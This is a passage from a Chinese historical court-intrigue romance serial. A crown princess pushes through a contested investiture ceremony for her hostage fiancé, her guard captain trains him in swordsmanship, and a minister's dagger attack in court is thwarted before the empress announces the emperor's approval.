林笙说起此事,又兴奋起来:“殿下每日入夜,便会去书房的密室待上一个时辰,再出来时,定会换了一身衣裳,双眼总是微红,你说殿下这是在修炼何种术法?”
可是他等了许久,身后都没有再传来回应。
林笙回头望去,发现江鹤一已经睡着了。
他轻轻舒了口气,为江鹤一掖了掖褥子,踮着脚悄声离开。
*
林笙一路小跑,溜去了许长宁的寝殿。
夜深人静,可她仍在批阅奏折,连林笙看着,都觉得有些心疼。
“殿下风寒未愈,还是早些歇息吧。”他劝道。
“他可睡着了?”许长宁放下笔,望向林笙。
林笙点点头,好奇问道:“殿下怎知老一会睡不着?”
许长宁低笑一声:“我猜的。”
林笙看许长宁这般反应,愈发觉得他听到的传闻并非空穴来风。
殿下莫非真的在修炼什么神秘的术法,一双慧眼早已将老一看透了?
“赏你的银子,孤明日会派人送去寿昌院,你也回去歇息吧。”许长宁重新拿起笔,继续批阅奏折。
“谢殿下!”林笙眉开眼笑地磕了个头。
没想到,许长宁发现了他的身份,竟然只是要他去陪江鹤一说说话,哄他入睡。
他还以为自己的脑袋要分家了。
林笙摸着脖子沾沾自喜,起身看向许长宁时,心中忽然冒出了一个问题。
“殿下,其实您留奴才在东宫,只是为了陪伴老一吧?”
还有那一番长篇大论,都是许长宁教他的。
她让他对江鹤一说这些话,分明是为了安慰,可为何她不亲口告诉江鹤一呢?
“殿下,您是不是还蛮喜欢老一的?”林笙咧嘴笑笑。
许长宁一边在折子上写字,一边摇摇头。
“不是哦。”
她抬眼望向林笙,笑得有些阴森,“你们都是孤的良药,待你们在东宫多养些时日,充分吸收了东宫的精气,孤便将你们扒皮抽筋,去肉留骨,扔进炉子里炼成丹药,服用后便可长生不老,配上孤修炼多时的术法,总有一日可得道成仙。”
林笙懵了,被吓得好像有些死了。
他张着嘴,结结巴巴说不出一句完整的话来。
直至许长宁忍不住笑出了声,他才感觉活了过来。
“殿下……您别吓唬奴才……”林笙都快要哭了。
许长宁摆摆手:“回去吧,不然孤便用术法将你——”
“奴才告退!”林笙不等许长宁说完,一溜烟便跑了。
卫迟风等二人谈完话,才从门外走进来:“殿下不打算责罚他吗?”
许长宁轻笑道:“罢了,江鹤一身边难得有人真心相待,且他这个人蛮有趣的,也十分机灵,日后或许能派上用场。”
卫迟风不再多问,行至许长宁身边,为她递去一本未批的折子:“殿下明日上朝,可是准备宣布册封大典一事的安排?”
许长宁接过折子,却没有心情再打开:“此事越快越好,唯有掌控南衙十二卫的调动权,我才能彻查当年守卫和宁宴的洛宸府兵与南衙禁军。”
她将折子放至一边,拧眉道,“再者,册封一事若成,婚讯大召天下,朝中上下无论是谁,都再无机会阻止我与江鹤一成婚。届时严相一派将会为我所用,我与谢家,才真正算作势均力敌。”
“可眼下严相未必会支持殿下,若他仍有扶植宗室子弟的念头,甚至可能会与谢家联手。”卫迟风有些犹豫,停顿片刻,还是说出了口,“明日……恐怕不会顺利。”
许长宁何尝不知?
她想好了册封大典的所有计划,戏台搭好了,与她一同登台唱戏的江鹤一也在她的掌控之下了,可唯有如何让这册封大典如她所愿,在雍京城中举行,她毫无头绪。
没有人会支持她的决策,放眼望去,她在这朝中,仍是孤身一人。
飞雪随风轻敲窗棂,许长宁站起身,光着脚踩在地上,缓步行至窗边,推开了窗户。
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>她伸手接了几片坠落的雪花,掌心的冰冷教她越发清醒。
“我身为女子,即便辅佐父皇多年,那些臣子也从未真正信服于我,而是服从我身后的父皇。如今没有父皇支持,我在这朝中,必是处处不顺,更何况此事触及兵权,他们更不会让步。”
许长宁猛地攥紧了手,“可我若不主动走这一步棋,不主动去争抢,便会被永远困在这一方东宫,渐渐沦为那些男人弄权的傀儡。”
这一世,哪怕争个头破血流,万劫不复,她也绝不要再像上一世那般畏畏缩缩,直至失去一切。
卫迟风忽然想到一法子:“若殿下说此事乃陛下允准过的呢?”
许长宁思索片刻,还是摇头:“若是父皇中毒前允准,他们必要看到诏书,若我说是近些日子父皇清醒时允准的,有一人必会戳穿。”
李令舒如今时时刻刻都守在昏迷的许昭临身边,许长宁知晓她不会帮着自己去夺谢家手中的权。
她的母后恨她。
且母后的骨头,早被谢家抽掉了。
望着许长宁独自站在窗边,身影与窗外夜色一样孤寂,卫迟风不禁攥紧了别再腰间的长剑剑头。
“殿下。”他走到许长宁身边,单膝跪下,微扬起头,看着许长宁的眼神极为诚挚,“无论如何,我与竹铃都会站在您这边,一直陪着您。迟风愚笨,不能为殿下出谋划策,但只要您下令,我会拼了这条命,为殿下在朝中杀出一条路来。”
许长宁凝重的面容,为他这一番话而缓和许多。
她蹲下身,与他平视,温柔地唤了一声他的名字。
“迟风,我说了许多遍,我不想你为我拼命。再说了,若你出了事,小铃铛定要哭个天昏地暗,你可舍得让她掉眼泪?”
卫迟风一怔,脸上忽地一热,快速地眨了眨眼,眼神闪躲片刻,仍是坚定:“殿下的安危比什么都重要。”
许长宁对他的反应甚是满意,看来他不算是块木头,不然她可要替她的小铃铛不值。
“我好着呢,朝中还无人敢伤我。”
她虚扶了扶卫迟风,示意他起来,“我要为你安排更重要的任务。”
卫迟风抱拳:“殿下请吩咐。”
许长宁微笑道:“收个徒弟吧,卫将军。”
*
林笙溜回住处时,因为心有余悸,关门声重了一些。
他倒了一杯水,一口气灌下去,才缓了过来。
“殿下定是在吓唬人呢……”
“不可能不可能……”
林笙一边嘀咕着,一边猛摇头,放下杯子要回卧房继续睡觉。
“你去见她了?”
身后忽然传来一道声音,林笙吓得发出一声惊呼。
他转过身,看到穿着寝衣的江鹤一站在他后面,眼神幽幽。
林笙捂着胸口喘气:“老一!你要吓死我啊!你不是睡着了吗?”
“我睡得浅。”江鹤一无意多解释,再一次重复了他的问题,“已经夜深了,你为何……会去见她?”
林笙一时哑然,咿咿呀呀说不出话。
许长宁说过要他保密的……
他的手不禁摸上了脖子,若他说出来了,脑袋会不会分家……
“她可是威胁你什么了?”江鹤一神色有些紧张。
“没有!”林笙脱口而出,“殿下很好!”
“那为何……”江鹤一不解。
“殿下……看我会算数,让我帮她些小忙。”林笙笑着敷衍道,随即假装打了个哈欠,“我困了,先回去睡啦,你也快去歇息吧。”
言罢林笙转身便要溜。
江鹤一看着林笙方才一脸纠结,便觉他在说谎。
林笙明明早就睡了,为何会半夜爬起来去见许长宁?
还是在找他说了话之后去的……
江鹤一忽然意识到什么,猛地抬眼看向林笙溜走的背影。
“莫非是她让你来同我说的那番话?”
林笙身形一僵,愈发验证了江鹤一的猜想。
江鹤一攥紧了衣袖,不顾越来越乱的心,继续追问,“是她让你来陪我的吗?”
“是她,对吗……”
26.在意
清晨的鸟鸣声,宛如欢歌。
江鹤一醒来时,看见阳光洒在窗棂上,忽然觉得心情是难得的平静。
心中有些东西,似是已经放下了。
他行至桌前,拿起昨夜许长宁送来的衣裳,捻在手中看了又看。
今日要去太医署,正如许长宁所言,他如今顶着翊圣郎的名号,不能丢了她的脸,应当穿新衣去见人。
可这衣裳昨夜才送来,他今日便穿,是否显得有些太心急了……
若让许长宁见了,怪丢人的……
“先穿一套利索的旧衣裳。”
窗外忽然传来一道声音,江鹤一抬眼望去,发现卫迟风正站在窗外,透过缝隙看着他,“换好衣裳随我来。”
江鹤一以为是许长宁召见,便快速换好衣裳,洗漱一番,随卫迟风离开。
可卫迟风却带他去了一处空地,扔给他一把木剑。
“从今日起,你每日早晨随我习武半个时辰再去太医署,下值用了晚膳后,再练习早晨所学,直至我满意方可休息。”卫迟风肃色道。
江鹤一又想起了昨夜那番毫无还手之力的比试,默默攥紧了木剑:“是许长宁的命令吗?”
“自然。若非殿下不想身边多一个需要时刻保护的累赘,我可没有心思教你。”
卫迟风逼近江鹤一,虽然他要年少一岁,但从小在军中习武练就的一身肃杀之气,令他在气势上完全碾压江鹤一。
“实话告诉你,你屡次对殿下不敬,我对你甚是厌恶,若非你对殿下有利用价值,我早就割了你的舌头。你若拖累殿下,我不会放过你。”
“当然了,你若认为自己并非习武那块料子,怕苦怕累怕疼,只想做一个卑躬屈膝的窝囊废,我可以替你转告殿下,让她不必再为你费心思。”
江鹤一望着面前与他同高的卫迟风,眼中闪过一抹的不甘。
尊严一旦重塑,便再难忍受羞辱。
少年的意气,在他荒芜的体内一点点重燃。
昨夜许长宁那一番话,便是导火索。
他不想再只做一个任人践踏的弱者,他也不要遇事只有求饶一种办法,他要抓住一切机会,变得更强。
终有一日,他要再一次俯视那些欺辱他的人。
他可以护住自己,护住身边的人,得到回家的机会,保护母后。
他也可以,让许长宁高看他一眼。
即便只做她的棋子,他也要成为她手中最好的那步棋。
“我不是窝囊废,亦不会甘于现状。”江鹤一正色回应卫迟风,抱拳行礼,“请卫将军赐教。”
*
得知许长宁今晨上朝要做一番大事,薛竹铃早早为她准备了一套深紫色的衣裳,又为她化了显得愈发威严的妆容,喜滋滋地陪着她出了门。
但奇怪的是,卫迟风反常地不见了人影。
莫不是睡过头了?在如此重要的一日?
薛竹铃眨眨眼,想找个机会溜去喊卫迟风起床,免得他被许长宁责怪,可尚未想出由头,便见许长宁问一名卫士卫迟风在何处。
薛竹铃忙接过话,搂着许长宁的胳膊答道:“殿下,我方才听闻卫迟风吃坏了肚子,一直在茅房出不来呢,我叫人去寻他来。”
许长宁低头看她笑嘻嘻的模样,有些紧绷的心情倏地放松了。
这丫头怎的这般护着卫迟风,帮他撒谎眼睛都不眨了。
许长宁故意没有说话,在卫士的指引下,一路去了卫迟风所在之地。
看着卫迟风在给江鹤一教武术,薛竹铃才知原来许长宁另有安排,立即改了口:“谁胡说八道呢,这小子也不像是吃坏了肚子呀。”
许长宁掐了掐她的脸蛋,笑道:“你睡过头,迟风都不会。”
“哼。”薛竹铃扁扁嘴,“殿下偏心卫迟风。”
许长宁笑而不语,重新看向空地上的二人。
江鹤一站在地上画的一个大圈内,手持一柄木剑,卫迟风站在圈外,一手持着长棍,另一手负于身后。
看他们来回几番,许长宁便看懂了今日教习的方式。
卫迟风是进攻者,而江鹤一是防御者,不可让卫迟风进入圈内。
“力道太弱!从今日起饮食要严格按照东宫卫士的标准来。”
卫迟风板着脸,十分严苛,一棍棍落在江鹤一身上,毫不留情,“有反击的机会,便要冲致命的地方出手!”
江鹤一生疏地使用着手中木剑,可以看出,他几乎没有用过长剑,全靠胡来。
卫迟风一边“进攻”,一边观察江鹤一,趁着给他喘息的时间,分析道:“你的左腿是你的弱点,但你的身高,你的速度,以及你的警觉,皆是你的优点,我会教你如何扬长避短,面对敌人时又该如何判断对方的短处,尽可能让每一次出击皆不落空。”
“出其不意,或是欺骗性动作后的迅速出招,都十分合适你。”
言罢,卫迟风左腿往前迈,看江鹤一要抬剑刺他左腿时,快速转身,绕至江鹤一身后,横扫一棍,便将江鹤一撂倒在地。
江鹤一吃痛地蹙了蹙眉,翻身要爬起来时,忽然看到了不远处驻足看过来的许长宁,不禁一怔。
她……特意来看他?
要看也别第一日来看啊……
偏偏又被她看到自己这般狼狈……
不知从何时起,他越来越在意自己在许长宁眼中的模样,眼下即便只是趴着,他也觉得丢脸极了。
江鹤一攥紧了拳,羞耻使得胸口的斗志燃得更盛。
他手肘撑地时故意慢了半拍,像是左腿旧伤牵扯着发疼,垂着头喘了几口气,指节还在微微发颤,瞧着是真爬不起来的模样。
卫迟风握着长棍的手松了松,刚要开口催促,江鹤一忽然手腕一翻,木剑贴着地面扫向卫迟风的脚踝。
这动作快得像蓄了力的蛇,卫迟风下意识提棍去挡,江鹤一却趁此间隙,猛地旋身,木剑陡地变向,寒光似的直刺卫迟风胸口。
卫迟风立即横起长棍,挡在胸前,木剑猛地撞上棍身,发出清脆的碰撞声。
卫迟风稍一使劲,便将江鹤一的剑尖顶了回去。
但方才他看得清楚,那木剑剑尖,只差一个拳头的距离,便触碰到了他的衣襟。
他的眼底不禁掠过一丝讶异。
欺骗性动作,而后出其不意,迅速出招……
江鹤一的悟性倒是比他想象中的要好许多。
卫迟风沉着脸,几乎是从牙缝里挤出来一句不情不愿的认可:“总算有点样子了。”
江鹤一虽面上不显,但心中却甚是欢喜,他借捋衣袖的动作,装作不经意地朝方才的方向瞥去。
可那里却已没有了许长宁的身影。
她走了?
那她可有看到方才他的表现?
还是只看到了他被打趴下的狼狈模样?
若他此时能看见许长宁离去的神情,便知她看到了一切。
她是带着笑的,就连薛竹铃都看出来了。
“殿下,您是不是笑得太早了?您让卫迟风教他,恐怕他要挨不少打,卫迟风可不喜欢他了。”
薛竹铃嘀咕道,“我姑且还能看在他上辈子救过殿下的份上,留他一条命,可卫
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迟风不知情,下手要是重了,您这翊圣郎就要换人咯。”
许长宁笑道:“迟风定是有分寸的,我看倒是你想让他下手重一些吧?小坏蛋。”
薛竹铃梗着脖子道:“才没有!我看他被卫迟风打趴,还觉得他挺惨的。”
“挨打又如何?”许长宁云淡风轻道,“他想要尊严,想要掌控自己的命运,又不稀罕别人送给他的,那便唯有自己强硬起来。”
薛竹铃眯了眯眼,狐疑道:“殿下难道看着不心疼?”
许长宁挑挑眉:“我有什么心疼的?他又不是从前的他。”
薛竹铃坏笑道:“是吗?那为何您寝殿柜子里的膏药,一下子多备了十几盒?总不会是给卫迟风的吧?”
许长宁被拆穿,无奈地叹了口气,戳了戳薛竹铃的脑袋:“你呀,该装傻的时候可以装傻。”
两人行至大门,要先行乘坐步辇前往含元殿,可迈出宫门时,许长宁却见到李令舒在门口等候。
真是什么麻烦便来什么,她正要准备去打一场仗,明明李令舒应当是她最亲近的袍泽,却成了对面的敌军。
李令舒手中之刃无形,却于她而言,最是致命。
许长宁不欲多言,只是向李令舒行了一礼,当即便要走向步辇。
“慢着。”李令舒喊住了她,“本宫已知晓你今日要在朝会上说什么,不妨先与本宫聊聊。”
许长宁并未回头看她,沉默片刻后,淡淡回了一句:“孤与皇后娘娘没什么可聊的。”
“宁儿!”李令舒眉心紧蹙,可这一声唤,仍唤不回许长宁。
许长宁在一名卫士的搀扶下坐上步辇,她的神色并不比李令舒好多少。
看来礼部还是走漏了风声,若李令舒知晓她今日要在朝会上提及册封大典在雍京城举行一事,说明谢家必然已经知晓。
那么今日上朝,谢望松定会有备而来,她也不能孤军奋战了,需得带上她的挡箭牌。
许长宁微微侧头,低声交代那名卫士:“小八,速去告知迟风,今日教习暂时作罢,带上江鹤一,一同去上朝。”
*
江鹤一的前世日志·十一
阿宁在朝中已然尽力,手中权力却仍被谢家一点点吞噬,她不能反抗,一旦与掌控了兵权与大部分朝中势力的谢家为敌,恐怕再无安宁。
每每看着她受挫失落,我便愈发痛恨自己无能。我实现不了自己的心愿,亦不能帮到她分毫,唯有每夜陪着她,在她倾诉心中压抑的恐惧时,予她一些无关痛痒的安慰。
可是我希望,自己能做更多,哪怕没有本事在朝中替她周旋,也能像守在她身边的那个千牛卫大将军卫迟风一样,护她安全。
每回看到卫迟风,我都极为羡慕,若我能靠自己的力量,拿起武器,守护我所爱的一切,或许母后便不会被害死,或许当初我便不会替谢筠行替代之事,阿宁便不会陷入这种局面。
即便从前无法改变,哪怕从现在开始,我也希望危险来临时,能护在她身前。
可是她说,她不希望我习武。
卫迟风出身于武将世家,从小为了习武便吃了许多苦,她心疼他,但已无法改变,她不想让我也受那些苦。再者,虽说谢筠已完全不在意我与她如何行事,但我若明目张胆地习武,他应当不会容忍。
我知晓,眼下处境并不允许我随心所欲,可若有机会,我定要拼尽全力去变强。
望有朝一日我足够强大,可掌握自己的命运,能护我所爱,哪怕烈火焚身,粉身碎骨。
望有朝一日,当她再说恐惧之时,我能对她说,别怕,有我在。
27.血光
许长宁从未想过,有朝一日她会为了促成自己的婚事而这般努力,甚至可能要为此得罪所有朝臣。
她坐在含元殿龙椅旁的御座上,指腹反复摩挲着椅子扶手上的雕刻,目光扫过阶下肃立的官员。
他们此刻却没有看她,视线皆聚焦于站在她身侧三步外的江鹤一。
江鹤一垂着眼,不与那些人对视,可仍觉得目光聚焦在他身上,几乎要看穿个洞来。
“诸位,半月后便是燕长皇子及冠之日,亦是孤册封翊圣郎之日。”
许长宁的声音沉厚稳重,让江鹤一不安的心稍稍平静下来。
然她的内心并不如声音那般冷静。
“册封大典,孤决意在宫外举行。”
果然,话音未落,下方朝臣便面面相觑,窃窃私语四起,绝大部分人的神色都写着了“不同意”三字。
谢望松与严伯钧倒是平静,一个早已知晓许长宁所图,一个早已知晓许长宁不会循规蹈矩。
很快,礼部尚书赵晖便开口反对:“册封敌国质子为翊圣郎本就非议颇多,移至宫外恐怕不妥!殿下三思!”
他一开口,阶下大半的人也随之跪下,齐声道:“殿下三思!”
许长宁睨了赵晖一眼。
他又在替谢望松说话,看来此前威胁他的把柄已经无用了。
她还挺好奇,究竟是何种贿赂,会让赵晖心动到放下那种把柄。
不过看赵晖一副面容惨淡的模样,应当是被抓到了更大的把柄。
“赵尚书记性不佳呀。”
许长宁不紧不慢,眼下一只脚踏入了战局,她倒是少了几分忐忑,慢条斯理道,“你可是忘了卜选那日的情形?昨日严相亲自带人对燕皇子进行考核,考核已然通过,如此,孤与他的婚事,还何来的非议?”
赵晖有备而来,继续道:“可册封之礼,自我朝建立以来,从未在宫外举行过——”
“如此岂不正好?”许长宁忽地笑着打断,“新岁将至,赵尚书若将册封一事与雍京城贺新岁一事同办,双典同辉,全城欢腾,可尽显我昭国天家气象。此事若成,便是青史里都要记下一笔的盛事,此乃历任礼部尚书想都不敢想的功绩。”
“臣不在乎此等身外之名,臣只怕殿下如此不合礼制。”赵晖毫无所动,反而是他身边的礼部侍郎神色松动,似是被许长宁的描述所打动。
“不合礼制?赵尚书说的还是昭国礼制吗?”许长宁轻笑一声,起身负手行至江鹤一身边,望着他说道,“正好,燕皇子殿下近日熟读昭国礼制,孤想问问,孤与你的婚事,事关两国之交,是私事,还是国事?”
江鹤一在许长宁看向他时,手心便冒出了汗。
但他此刻却很好地掩饰了所有情绪,十分规范地朝许长宁一礼,回答得果断:“回殿下,自是国事。”
“既是国事,让我大昭百姓知晓并亲眼见证,有何不合礼制?”许长宁做出一脸困惑的夸张神情。
江鹤一没料到,许长宁竟在朝堂上演了起来,忽然感觉紧张淡去了几分。
“臣亦不解。”他看向赵晖,也演得满脸真诚,“许是关于昭国礼法,赵尚书私藏了些典籍,那些典籍中另有说辞。”
“哦?那孤还真想看看赵尚书手中的典籍是何说法。”许长宁缓步走近赵晖,“太宗皇帝曾在朱雀门亲迎燕使,化干戈为玉帛,得来东疆几十年和平。如今孤效仿太宗皇帝,让雍京城百姓再次见证和平之约,有何不妥?”
许长宁侧头望向仍然站着的谢望松,微微扬唇,“莫非赵尚书手中的典籍上认为,太宗皇帝所为不合昭国礼制?”
谢望松并未躲避,而是恭敬地一礼:“礼法事小,可殿下的安危事大,雍京城鱼龙混杂,仇恨燕国的百姓不在少数,在宫外行册封之礼,恐怕不安全。”
许长宁正好将话接过来:“相信在谢相的操持下,南衙十二卫定能胜任护卫之责。”
谢望松正要接话,许长宁却好似想起什么,忽然又道:“莫非谢相是担心此事责任过大?谢相大可安心,既然此事乃孤所提议,便不能全让诸位承担。卫迟风——”
话音刚落,守在殿外的卫迟风行入殿内,单膝跪下行礼:“臣在。”
“为减轻谢相与兵部尚书的负担,册封大典的护卫一事,交由你来统领。”
许长宁三言两语,便将此事定下,不想留给众人反应的时间。
她转身想要走回座位上,快速将此命令写成诏令,板上钉钉。
“殿下忘了您的兄弟与妹妹吗?”
一道高声质问从身后冲来,许长宁步伐一顿,果然,此事定不会这般顺利。
“殿下忘了洛宸的冤魂,忘了战死在燕国的将士们吗?!”
赵晖撕破脸的声声质问,仿佛烧得滚烫的油锅忽地炸开,油星子混着火星子四处飞溅,引起殿内又一轮骚动。
许长宁回过头,感到有些讶异。
他竟会为谢望松做到此等境地?
赵晖脸色惨白,神色悲戚,指着江鹤一大声喊道:“让弑我子民者之子登朱雀门受册,殿下是教太庙列祖列宗看我大昭笑话吗?!”
此话使朝堂瞬间陷入死寂。
江鹤一咬紧了牙关,指尖在袖中蜷起。
他能感觉到殿内半数目光都带着刺,齐齐朝他扎来。
他逼着自己不能露怯,直面赵晖的目光。
这人像是被逼入了绝境,这样的疯狗,最是肆无忌惮。
许长宁盘算之事,怕是棘手了。
一直未语的严伯钧一派,忽有一人带头跪下:“赵尚书所言极是!当年太宗迎燕使,是因燕国主动示好,可如今燕军在东疆屯兵,屡屡侵扰,此时册封燕国质子为翊圣郎,恐堕大昭军威啊!”
江鹤一看到许长宁背在身后的手,紧攥成拳。
“一场婚事如何会堕大昭军威?尔等如此小瞧东疆将士吗?”她也提高了声量,表情再无戏谑,“再者,孤在为国而计,在为两国和平而谋!从前枉死战死之人,想要的是和平,而非困于仇恨,看战火再度蔓延,子孙后代继续流血!”
“殿下怎可保证此人能为昭国带来和平?光凭他一张嘴,我等便要信他吗?”
赵晖眼角都红了,颇有歇斯底里的苗头,“他可敢立即歃血立誓,若燕国背盟,他便于雍京城头自刎谢罪,五马分尸?!”
此提议犹如往油锅里掺了一把辣椒,炸得殿中劈啪作响。
众人私语之声愈发沸腾,各执己见,许多人在顺着赵晖的话往下说。
他们在讨论如何处死江鹤一才合适。
自缢、喝毒酒、凌迟……仿佛此事已成定论。
许长宁看着失控的局面,眼神愈发阴沉,拳头攥得指节发白。
忽然,她的衣袖被人轻扯了扯。
许长宁侧过头,看向身后的江鹤一。
他面无惧色,朝她无声颔首。
刹那间,耳边的嘈杂声似被阻隔,许长宁感到呼吸一紧。
他这是何意?
他可知晓他在做什么?
江鹤一看许长宁似是失神,以只有她才能听见的声音说道:“我敢。”
“让我帮你。”
这便是棋子该做的事。
今日她让他来,不就是为了堵住这些朝臣的嘴吗?
让他们冲着他来,她是不是便会轻松一点?
许长宁凝望江鹤一片刻,轻轻抽回了自己的衣袖。
“孤的翊圣郎说他敢。”
她重新坐下,看向众臣,沉声道,“可孤不准。”
江鹤一本已准备好,闻言一怔。
为何?
不是要他来当挡箭牌吗?
“尔等听听赵尚书此言有多荒谬?”
许长宁冷笑一声,“孤从未说过,江鹤一定能为昭国带来和平。刨除情意不谈,他只是我等与燕国和谈的筹码,一个人,如何能代表燕国所有人?若赵尚书要求仅凭一场婚事,便要保昭国无忧,大可以去说服燕国皇帝带上国玺来此与孤成婚,而不是在此大放厥词,要逼死孤的翊圣郎!”
江鹤一垂下眼,心中不知是何滋味。
她在保护他……
可正是如此,让他愈发觉得自己无用。
赵晖跪在地上,毫无让步之意,神情近乎狰狞,大喊道:“殿下要在全城百姓面前册封他,若他不发此毒誓,殿下如何知晓他忠奸?如何知晓他不会祸害昭国?!”
“放肆!”许长宁猛地拍桌,亦提高了声量,“孤看上的人,孤自知他是否忠心!赵尚书可是在质疑孤?!”
赵晖垂下头,双肩隐隐在抽动,似是在笑。
“是你逼我的……是你逼我……”他一遍遍呢喃,已然魔怔,跪在他身边的人甚至感到有些害怕,默默挪远了一些。
“若当真忠心……”
赵晖再度抬头时,双眼已是猩红,他倏地伸手摸向脚边,猛地抽出一把匕首,竟当场掷向了江鹤一!
“便该受此一刀证清白!!”
赵晖仿佛早已为此练了许多回,那一刀又快又狠,教所有人大惊失色。
刀刃看似冲着江鹤一而去,却擦着他的肩头,朝御座之上的许长宁飞去!
卫迟风跪在阶下,见寒光掠向许长宁时,喉间爆出一声沉喝,腰间长剑不及出鞘,飞身
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上前,直接徒手攥住了匕首锋刃。
啪嗒,啪嗒……
血从卫迟风的指缝间渗出,滴落在地,犹如警钟。
因为震惊而鸦雀无声的大殿,却传来一阵笑声。
“如此紧张作甚?”赵晖如同疯魔,“不过是给燕国质子验验心罢——”
话未说完,寒光一闪,卫迟风已然抽出剑,挥向了赵晖的颈侧,剑刃稳稳停在他的喉咙前,只余半寸距离。
“朝堂之上,持刃欲伤皇太女殿下,按律当斩。”
卫迟风的话音因愤怒而有些发颤,剑锋再逼近了几分。
殿内一片死寂,连一直看戏的谢望松和严伯钧的神色都变得严肃起来。
江鹤一望着地上的血迹,仍心有余悸,感到呼吸发紧。
他的反应还是太慢了……
若非卫迟风在,许长宁就……
好奇怪,他毫不担心自己会如何,满脑子都是许长宁。
而且虽然只是一闪而过,但他察觉到了那一瞬的念头。
仿佛是身体的本能,在看见匕首朝许长宁刺去时,他竟想要纵身去挡。
“迟风,收剑。”
许长宁仍端坐在御座上,她以指尖轻轻叩了叩桌案,声音平得听不出情绪。
卫迟风却没动,剑锋依旧抵着赵晖的喉结,只侧头看她,目光里是毫不掩饰的执拗。
那是保护她的本能,压过了服从命令本分的决绝。
他不想放过赵晖。
许长宁微微摇头:“在此杀他,脏了这含元殿。带下去,交由刑部议罪。”
卫迟风这才收剑,血糊糊的手在身侧攥成拳,仍在滴血。
许长宁看着,眉心蹙成了一团。
守在殿外的羽林军来将赵晖带走,可赵晖仍不死心,被拖走时还在嘶吼:“许长宁!你护着敌国质子,连臣子性命都不顾!我看你是色令智昏!大昭定要毁在你这个女人手里!!”
不堪入耳的辱骂渐渐淡去,可殿内的嘈杂仍无休止。
“殿下,赵晖虽形同疯魔,但他所言,未必全无道理,甚至可能也是许多人对这门婚事的看法。”
“虽不知赵晖今日所为是何缘由,但臣实在担心,若在宫外行册封大典,会有此等极端之人,借着以伤翊圣郎的名义,向殿下行刺呐!”
“殿下,册封大典不宜在宫外举行啊……”
“臣附议……”
许长宁望着阶下纷纷跪地的朝臣,已然明白赵晖的作用何在。
谢望松牺牲一个背叛过自己的棋子,来攻击她的棋子,公然挑起所有人对她的不满。
莫说册封大典在何处举行,今日如此一闹,恐怕她择江鹤一为翊圣郎此事都要再度遭受质疑。
许长宁面无表情,久久未言,唯有站在她侧后方的江鹤一能看到,她藏在桌案下的手,暴露了她的情绪。
她不断地用拇指指甲在抠自己的指腹,一遍又一遍,用力得手背上的筋骨血脉都清晰可见。
江鹤一看得心口发涩。
原来她在朝中,如此举步维艰,难怪她总是操劳,身子一直未好……
而在不久之前,他便是那些与她作对之人的其中一个。
为何从前惹她恼怒烦心那般容易,可眼下想要帮她什么,却如此难?
“够了,此事日后再议。”许长宁站了起来,“今日暂且退朝。”
可许长宁尚未走几步,谢望松手持笏板,拦在她的面前。
“还请殿下尽快决断,臣等好做准备。”
许长宁目光冰冷,声音中带了怒意:“孤说了,此事再议。”
谢望松虽微微躬身,气势却丝毫不输许长宁:“殿下莫要一意孤行,寒了老臣们的心呐。”
两人一时僵持不下,许长宁甚至有种想要抢走他手中的笏板,抽他一顿的念头。
此时该来软的,还是硬的?
或者学那赵晖,也发一次疯?
“此事不必再议。”
未待许长宁想出对策,忽有一道沉稳的女声从殿外传来,引得众人皆回头望去。
李令舒并未差人通报,便直接步入了含元殿内。
许长宁心正烦着,此时连行礼的心思都没有了。
李令舒来做什么?
嫌场面不够乱,再来帮着自己的表哥,踩她一脚是吗?
“怎么?母后莫非要替孤做决定?”许长宁寒声道。
“并非本宫,而是陛下。”
李令舒行至大殿中央,回身看向群臣,高声道,“本宫来传陛下口谕,皇太女册封翊圣郎之礼,将在宫外举行,以震慑燕国,安抚民心。”
28.情意
李令舒所言,令众臣讶异。
许长宁立即朝谢望松望去,即便他将情绪隐藏得极好,但那抽动了一瞬的眉心,仍是出卖了他。
谢望松是意外的,那便说明,他不知晓此事。
许长宁有些不敢置信,她的母后,怎会公然与谢望松对着干,在一众朝臣面前支持她?
“陛下醒了?”严伯钧甚是欢喜,连忙问道。
李令舒颔首:“陛下今日清醒了约莫一盏茶的时间,听闻殿下的决定,认为此举甚好。”
“陛下当真如此说?”谢望松身后的一人又问。
李令舒微微扬起下巴,眼神中流露出一丝不满:“本宫日日在昭宸殿侍疾,寸步不离,你是在质疑本宫?还是质疑陛下?”
那人忙垂下头:“臣不敢……”
“东疆边民久受战火惊扰,坊间偶有传言,称质子联姻乃权宜之计,不仅东疆边民惶恐,京城百姓亦人心惶惶。若将册封大典限于宫墙之内,百姓只见天家婚嫁,不见天下归心,这一场婚事,便失了意义。”
李令舒声音温婉,却不失力道,一字一句,教殿内人人都能听得清楚。
“陛下认为,册封之礼当分作两仪,先于太庙行祭天焚帛礼,将婚约文书焚告天地祖宗,随后移驾明德门御道,登朱雀门城楼,行万民观礼仪。”
李令舒看向许长宁与她身边的江鹤一,提高了声量,“陛下望通过此举,教万民共睹我朝皇太女为燕国嫡长皇子束发受印,亲赐翊圣郎金册,教大昭百姓知晓,翊圣郎乃两国血脉桥梁,可助昭国太平。”
“如此既显我朝胸襟如日月昭昭,亦断了那些流言蜚语,可安民心,更可让燕皇知晓,他的嫡长皇子已受我大昭天恩,若敢轻动刀兵,便是将亲子推入万劫不复之地。”
李令舒朝许长宁走近一步,“殿下认为如何?”
她身上正好穿着许长宁送给她的那套紫金色衣裙,显得她格外端庄,尽显国母风范。
而她面前的许长宁,亦着紫色衣裙。
她们是殿内唯二的女人,此刻又是那般地相似,刚毅,大气,又带有几分柔和,仿佛坚不可摧。
江鹤一方才看着李令舒在众人前说话,在她身上看到了许长宁。
或者说,是许长宁的身上,有着李令舒的影子。
许长宁处事的柔肠与坚骨,与其说是从许昭临身上学来,眼下看着更像是李令舒以骨血相传而来。
母女二人望着彼此,仿佛彼此之间隔着的寒冰顷刻破裂,终是相视一笑。
“父皇所言,正是儿臣所想。”
许长宁接过话,看向兵部尚书,“全城百姓同贺,保卫之责甚重,南衙十二卫可再从洛宸等地抽调府兵,交由东宫卫率暂为统领,以确保大典顺利进行。”
兵部尚书闻言,以余光偷偷看了一眼谢望松,不敢应答。
要动南衙十二卫便罢了,许长宁竟然敢将手伸到洛宸此等世家之地……
这不是摆明着要向世家宣战吗?
“臣一切听从上官安排。”兵部尚书自是不敢擅自应答。
“你的上官……那谢相意下如何?”方才败了一局的许长宁,此时望着谢望松的眼神,愈发充斥着进攻的冲动。
她就是要叫世家那些人看看,谢望松在昭国,无法再只手遮天了。
殿内所有人,都在等谢望松的回应。
此战谁胜谁败,在李令舒搬出许昭临时,已有迹可循。
